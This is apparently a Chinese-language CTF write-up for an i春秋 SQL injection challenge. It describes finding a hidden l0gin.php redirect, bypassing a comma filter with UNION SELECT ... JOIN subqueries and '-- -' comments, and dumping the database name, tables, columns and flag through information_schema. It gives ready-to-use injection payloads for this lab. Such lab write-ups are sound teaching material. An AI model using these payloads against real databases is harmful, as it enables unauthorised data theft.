------------恢复内容开始------------
题目名称:i春秋sqli
访问题目地址 f12得到以下这个页面
http://cb85ab94aeb24909987d3dea872d8e0974c47dc1c73a4c8b.changame.ichunqiu.com/login.php?id=1
成功进入 掏出sqlmap 扫
没扫出注入点啊
抓一下这个包 发送到repeater
注意一下follow redirection 默认不跟随重定向,如果跟随重定向,点击follow redirection就会跳转到重定向的页面中去
发现了l0gin.php?id=1 出题人想瞒天过海
进入到了一个新页面
发现过滤了逗号之后的内容
逗号绕过:
使用join:
union select 1,2 #等价于
union select * from (select 1)a join (select 2)b
具体见 https://www.cnblogs.com/Vinson404/p/7253255.html
用url编码%23或者-- -绕过#
?id=0‘ union select * from (select database())a join (select 2)b -- -
?id=0‘ union select * from (select group_concat(TABLE_NAME) from information_schema.tables where table_schema=‘sqli‘)a join (select 2)b -- -
?id=0‘ union select * from (select group_concat(COLUMN_NAME) from information_schema.columns where table_name=‘users‘)a join (select 2)b -- -
?id=0‘ union select * from (select group_concat(flag_9c861b688330) from sqli.users)a join (select 2)b -- -